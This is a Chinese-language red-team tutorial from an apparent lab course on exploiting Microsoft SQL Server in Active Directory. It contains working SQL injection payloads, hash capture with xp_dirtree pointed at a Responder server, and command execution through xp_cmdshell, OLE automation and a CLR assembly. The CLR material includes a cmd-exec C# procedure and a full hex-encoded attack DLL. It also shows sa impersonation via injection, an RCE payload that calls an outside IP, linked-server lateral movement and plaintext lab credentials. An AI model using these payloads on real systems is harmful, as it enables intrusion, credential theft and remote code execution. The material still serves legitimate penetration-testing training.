# MSSQL 的利用

### **MSSQL**

Microsoft SQL 服务器在 Active Directory 基础设施中很常见，不仅因为 MSSQL 服务器是 Web 应用程序常见的后端数据库服务器，而且还因为它可以与 Active Directory 和 Kerberos 认证无缝集成。在渗透测试或红队活动中，Microsoft SQL 服务器是攻击者的重点目标之一，原因是它通常存储着敏感数据，并且可以为攻击者提供对目标基础设施的访问。当 SQL 服务器集成到 Active Directory 环境中时，诞生了特定的攻击向量。

根据之前的枚举，我们知道在 PROD域、Med-deal 域、以及White-bird 域中都有着 MSSQL 服务器，用户 sql\_service 分别是对应域中 SQL 服务器实例的服务帐户。而 Web02 是 .NET 应用程序的后端数据库服务器。

在这一节，我们会用多款工具对 MSSQL 进行枚举、利用，包括了 PowerUPSQL，SqlRecon，Impacket 等。Lab 内的 SQL 相关帐号的凭证如下：

```shell
Srv01\SQL01
prod\sql_service:beautiful1
sa:Passw0rdsrv01sa

Srv02\SQL02
med-deal\sql_service:jkhnrjk123!
sa:Passw0rdsrv02sa

Web02\SQL03
white-bird\sql_service:jkhnrjk123!
sa:Passw0rdweb02sa

```

### **SQL 注入**

SQL 注入也是对 MSSQL 攻击的手段之一，最为常见和经典。这是一个回顾，在第 4 章节，我们从 Web 渗透的角度，发现了 Web02 上的 .NET 应用有着 SQL 注入漏洞，并且提取到了一些数据和信息，但是，根据那时候得到的内容，看起来对我们后续渗透并没有很大的帮助，我们会在稍后对之前的 SQL 注入攻击做出延伸。如果忘记了 MSSQL 数据库的重要语句，那么请熟悉一下：

```sql
枚举数据库
select name from master..sysdatabases;

枚举表
select TABLE_NAME from [db name].information_schema.tables;

枚举列
select name from syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users')

枚举用户或登录
select user_name(); //Server Login Name
select system_user; //Database User Name
select * from master..syslogins;

修改密码
ALTER LOGIN webapp  WITH PASSWORD = 'Passw0rd';

当前用户或登录是否是sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT NAME from master..syslogins where SYSADMIN=1;
```

Web02 后端的 SQL 拼接后的语句形如 **select \* from medicine where medicine like %txtMedicine or brand like %txtBrand or price &lt;=txtPrice**，并无其他的输入过滤，因此，一个触发 SQL 注入的载荷为 **pain ' union select system\_user,2,3;--。**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Q4Rq4G5OK2Ivd1Cc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Q4Rq4G5OK2Ivd1Cc-image.png)

当前的登陆为 webapp，并不是 sysadmin，因此，我们暂时不能做出需要更高特权的行为，例如远程代码执行。

```sql
pain ' union select is_srvrolemember('sysadmin'),2,3;--
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/6wDwWHW2LC7sKZdQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/6wDwWHW2LC7sKZdQ-image.png)

### **基于凭证的攻击**

考虑到服务帐户 sql\_service 都设置了 SPN，因此我们可以对其进行 Kerberoasting 攻击，以获取 KRB5TGS 哈希并破解。如果 sql\_service 的密码不够强大，我们可以还原出明文密码。在我们的例子中，**med-deal\\sql\_service** 和 **white-bird\\sql\_service** 的密 (jkhnrjk123!) 不在 rockyou 字典中，因此我们无法破解它以获取明文密码。但 **prod\\sql\_service** 的密码为典型的弱密码，我们是可以破解出来的。

此外，我们可以使用 Impacket 或者 Responder 运行一个恶意 SMB 服务器。然后使用 **exec xp\_dirtree** 语句访问该 SMB 服务器以及目标共享目录，这样我们可以捕获服务帐号的 NetNTLMv2 哈希并试图破解。

如果是有效的 UNC 路径并且服务帐号具备访问权限，那么可以用于读取目录

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/ZDLFgWKCa05wor0A-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/ZDLFgWKCa05wor0A-image.png)

如果是访问 Responder 的 SMB 服务器：

```sql
exec xp_dirtree '\\89.117.62.45\pwn',1,1;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/BHL6BcfnCsoFL7IZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/BHL6BcfnCsoFL7IZ-image.png)

因为该 SMB 服务器是恶意的，所以并不能读取出目录和文件，但却给了 Responder 机会捕获哈希。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/DsyuIuzTAFFkuYd0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/DsyuIuzTAFFkuYd0-image.png)

然后我们可以使用 hashcat 或 john 来进行字典破解：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/jRARvOeijgcKOIRm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/jRARvOeijgcKOIRm-image.png)

类似于 Kerberoasting 攻击，能否还原出明文密码取决于密码强度以及字典的丰富程度。

### **代码执行**

在 MSSQL 上实现命令执行，可以有多种途径，但是在默认情况下都需要 sysadmin 特权。如果当前登陆或用户并不属于 sysadmin，也许我们可以通过手动提权来实现，这是稍后要介绍的内容，但现在，假设我们具备了 sysadmin 特权，那么该怎么实现 RCE 呢？我们在上述步骤中，知道了 PROD\\sql\_service 的明文密码，因此，我们可以获得该帐号的上下文。在 CobaltStrike 中，我们可以使用 **make\_token** 以及明文凭证来创建 sql\_service 的上下文，而 make\_token 的背后原理，会在下个章节阐释。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/7QoYuYyYtAdLlZPD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/7QoYuYyYtAdLlZPD-image.png)

回顾一下我们之前对 SQL 实例的枚举思路，之前我们使用了 **PowerUpSQL** 脚本。这里我们使用 **SqlRecon** 工具，配合 **execute-assembly** 命令，避免文件的落地和使用 PowerShell。我们发现 sql\_service 是 sysadmin，这是可以预期的，毕竟这是 SQL 的服务帐号。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/weGxnlNPwuk790yx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/weGxnlNPwuk790yx-image.png)

此外，我们还可以使用 **Impacket** 中的 **mssqlclient.py** 与目标 SQL 实例进行交互。该工具以**原始语句查询**为主，在此基础上附带了渗透测试或红队行动中常用的快捷选项，例如**一键开启 xp\_cmdshell**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Uh2lgjH9PYhcGCuG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Uh2lgjH9PYhcGCuG-image.png)

#### **xp\_cmdshell**

如果当前登录是 sysadmin，我们可以在 SQL 服务器上执行任意命令。这些方法中，最臭名昭著的是 xp\_cmdshell。它是 Microsoft SQL Server 的一部分，是一个系统存储过程，允许用户在 SQL Server 中执行系统命令。这对于运行脚本或与操作系统交互等任务可能很有用。然而，它也可以是一种强大的内置功能被用于攻击目标 SQL 服务器。

要执行命令，我们应确保配置选项 **show advanced options** 和 **xp\_cmdshell** 是启用的。启用它们的原始语句是：

```sql
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/sc3UQ5VYPKxRgvk8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/sc3UQ5VYPKxRgvk8-image.png)

当然，我们也可以使用 Impacket 自带的快捷开启：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/WALOxlvYO2lyMNRJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/WALOxlvYO2lyMNRJ-image.png)

SqlRecon 也集成了一键开启 xp\_cmdshell 的功能：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/1o1fS5hbojJ9Ymr2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/1o1fS5hbojJ9Ymr2-image.png)

在开启了 xp\_cmdshell 后，我们可以通过如下原始语句执行系统命令并得到输出结果：

```sql
exec xp_cmdshell '<命令>';
```

Impacket 还支持 **xp\_cmdshell &lt;命令&gt;** 的快捷命令执行命令

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/rQpl2EgNevYndTVc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/rQpl2EgNevYndTVc-image.png)

SqlRecon 自然也支持一键执行 xp\_cmdshell 命令：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/sHaBvy72FnFO9M3p-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/sHaBvy72FnFO9M3p-image.png)

#### **OLE Automation Procedures**

考虑到 **xp\_cmdshell** 因被攻击者滥用而臭名昭著，从而受到了严密监控。因此，我们应该了解其他方法来执行系统命令。OLE 自动化是一种技术，允许应用程序将对象链接到另一个应用程序。OLE 自动化过程是 SQL Server 中的存储过程，它们提供了对 OLE 自动化对象和方法的访问。这些过程包括 **sp\_OACreate** 和 **sp\_OAMethod**。我们可以使用 sp\_OACreate 创建一个 **OLE 自动化对象的实例**，并使用 sp\_OAMethod 调用 **OLE 自动化对象的方法**。我们可以利用它们来执行系统命令。

我们应该首先通过执行以下语句启用 OLE 自动化：

```sql
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/NykbYN5p0uudJbqa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/NykbYN5p0uudJbqa-image.png)

可惜的是，Impacket 并没有集成一键开启 OLE 代码执行，但 SqlRecon 集成了该功能。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/eQPXhem06BA8RuUa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/eQPXhem06BA8RuUa-image.png)

在开启 OLE 自动化过程后，我们可以通过如下语句来执行系统命令：

```sql
DECLARE @rce INT; EXEC sp_oacreate 'wscript.shell', @rce OUTPUT; EXEC sp_oamethod @rce, 'run', null, '<命令>';
```

该语句使用了 sp\_OACreate 和 sp\_OAMethod 来使用 WScript.Shell 这个 COM 对象执行系统命令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/VqETcJNLdv0Das23-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/VqETcJNLdv0Das23-image.png)

我们看到日志里新增了访问记录，说明代码执行成功，尽管我们不能直接在 SQL 的返回数据中看到输出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/wPZe9eNiOhWvfuOu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/wPZe9eNiOhWvfuOu-image.png)

SqlRecon 还集成了一键 OLE 代码执行：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/ysgCTHQ0zizQkxbH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/ysgCTHQ0zizQkxbH-image.png)

同样的，该命令执行成功，因为我们看到了新增的访问请求

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/JRexZrsSa88okDlf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/JRexZrsSa88okDlf-image.png)

#### **CLR**

我们还可以使用 CLR 来实现系统命令执行。CLR (公共语言运行时) 是 .NET 框架提供的运行时环境，使我们能够将 .NET DLL 文件导入到 SQL 服务器并执行 DLL 中的方法。我们可以从文件系统中读取 DLL，但将 DLL 写入至内存中以避免文件落地无疑更佳。

首先，我们应该通过执行以下语句启用 CLR 并开启 **TRUSTYWORTHY** 属性：

```sql
exec sp_configure 'show advanced options', 1;  RECONFIGURE;  Exec sp_configure 'clr enabled', 1;  RECONFIGURE;ALTER DATABASE [master] SET TRUSTWORTHY ON;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/AkU1Y72STe73ssBC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/AkU1Y72STe73ssBC-image.png)

使用 SqlRecon 则可以一键开启：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/mKqjCaiW0CaLcvW2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/mKqjCaiW0CaLcvW2-image.png)

接下来，我们需要生成一个 .NET DLL 并转换为 Hex 格式，样本代码如下：

```c#
using System;
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;
public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        SqlContext.Pipe.SendResultsRow(record);
        SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
        proc.Close();
    }
};

```

然后使用如下 Powershell 脚本将其转换为特定的 Hex 格式

```powershell
$assemblyFile = "<DLL 地址>"
$stringBuilder = New-Object -Type System.Text.StringBuilder 
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File c:\windows\tasks\clr.txt

```

我们也可以使用一现成 DLL 的 Hex (来自 [https://mp.weixin.qq.com/s/J6lKiFxngOz0CQdGHck61A](https://mp.weixin.qq.com/s/J6lKiFxngOz0CQdGHck61A))，最终写入 DLL 组件的语句为

```sql
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/Skirayovm1ToX4cS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/Skirayovm1ToX4cS-image.png)

最后，创建一个过程并执行系统命令，我们可以看到执行的输出：

```sql
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
EXEC sp_cmdExec 'whoami';

```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/S9CwbkUS9aKaetTj-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/S9CwbkUS9aKaetTj-image.png)

至于 SqlRecon，虽然有一键 CLR 命令执行的功能，但需要文件落地。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/j8R8lxPr0wazVLAK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/j8R8lxPr0wazVLAK-image.png)

### **特权提升**

在 SQL 注入部分，我们知道当前登陆为 **webapp**，并不是 **sysadmin** 的一员，因此不具备执行远程代码的权限。但如果权限被不当配置了，那么有可能存在特权提升的路径，从而使得当前登陆 webapp 获得 sysadmin 的权限，从而实现代码执行等目的。

在 MSSQL，有一个特性被称为模仿 (Impersonation)，指的是一个用户/登陆可以以另一个用户/登陆的上下文执行语句。因此，如果登陆 webapp 可以模仿 sa 或其他高特权用户，可以实现特权提升。

仅借助 SQL 查询语句，我们难以查询出当前登陆/用户可以模仿哪些其他登陆/用户，但是我们可以查询出哪些登陆/用户可以被模仿，但是返回的登陆或用户不一定是当前用户可模仿的，可能是其他登陆或用户才可模仿的。

```sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
```

因此，我们可以构造出如下的 SQL 注入载荷查询出哪些登陆或用户可以被模仿：

```sql
pain' union SELECT distinct b.name,2,3 FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';--
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/CIaBqRqsTQreZ7vb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/CIaBqRqsTQreZ7vb-image.png)

我们看到，sa 可以被模仿。那么，sa 可被谁模仿呢，是否可以被当前的 webapp 所模仿？不妨试一试。我们知道，webapp 的权限不足以开启 xp\_cmdshell，那么如果我们能模仿 sa，就能以 sa 的上下文开启 xp\_cmdshell。通过 **execute as login='sa'** 命令，我们可以尝试模仿 sa。之后，承接着开启 show advanced options 和 xp\_cmdshell 的语句。

```sql
pain'; execute as login='sa'; exec sp_configure 'show advanced options', 1; reconfigure; execute as login='sa'; exec sp_configure 'xp_cmdshell', 1; reconfigure; --
```

最终，我们使用如下语句查询 xp\_cmdshell 的状态：

```sql
pain' union select value,2,3 from sys.configurations where name='xp_cmdshell';--
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/MLjIjBTFc6qX9EdF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/MLjIjBTFc6qX9EdF-image.png)

我们发现，模仿 sa 成功了，而且还开启了 xp\_cmdshell 了。因此，我们实际上是可以通过利用 .NET 应用的 SQL 注入漏洞获得 RCE 的。关于模仿，在服务器端查看就很直观了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/8Jdt9imlggIWk9YN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/8Jdt9imlggIWk9YN-image.png)

最后，我们实际测试一下通过该 SQL 注入达成的 RCE，载荷如下

```sql
pain'; execute as login='sa'; exec xp_cmdshell 'powershell iwr http://89.117.62.45:8080/rce'; --
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/VLu5N48mBR7kxDrh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/VLu5N48mBR7kxDrh-image.png)

Python HTTP 服务器的 log 有了请求，说明代码执行成功。只是输出并不会显示在网页页面上。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/WTRP5IBKX9kTDGFK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/WTRP5IBKX9kTDGFK-image.png)

### **横向移动**

在 Microsoft SQL Server 中，SQL 链接或链接服务器指的是连接到不同服务器上的数据库并查询其数据的能力。这在从多个数据库访问数据时非常有用，但这些数据库位于不同的服务器上。然而，攻击者可以利用该特性横向移动到其他 SQL 服务器。

我们可以使用 PowerUpSQL、SqlRecon 或原始查询来枚举 SQL 链接。使用原始查询语句，我们可以借助如下语句之一：

```sql
exec sp_linkedservers;
select * from master..sysservers;
```

不过返回结果显示地很混乱

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/y3FWHldh8kNWvaqY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/y3FWHldh8kNWvaqY-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/InELE6f6aGrivxH3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/InELE6f6aGrivxH3-image.png)

如果使用 PowerUpSQL，执行以下命令以检查 SQL 链接：

```powershell
Get-SqlServerLinkCrawl -Instance "<实例名>"
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/thVcMlOjHffpKjDB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/thVcMlOjHffpKjDB-image.png)

我们可以看到，PowerUpSQL 可以嵌套式地帮我们爬取所有可以通过 SQL 链接访问到的实例，例如 Srv02，Web02。梳理一下逻辑，链接关系如下：

**Srv01 -&gt; Srv02**

**Srv02 -&gt; Web02**

**Web02 -&gt; Srv02**

此外，PowerUpSQL 还能显示当前登陆对链接的 SQL 实例是否具有 sysadmin 权限。很显然，prod\\sql\_service 并不能通过 SQL 链接对另外 2 个 SQL 实例具有 sysadmin 权限，因为用户在目标域内被映射为 guest 用户，权限自然是不够的。

使用 SqlRecon 也可以爬取 SQL 链接，但是仅爬取与当前实例直接链接的实例

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/4zNKVt5mtdQugtCi-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/4zNKVt5mtdQugtCi-image.png)

既然 SQL02 是直接链接到 SQL01 的实例，那么我们该怎么通过 SQL 链接对其进行枚举，甚至执行代码呢？我们可以通过 openquery 语句进行跨链接语句执行：

```sql
select * from openquery ("<链接服务器>",'<SQL 语句>');
```

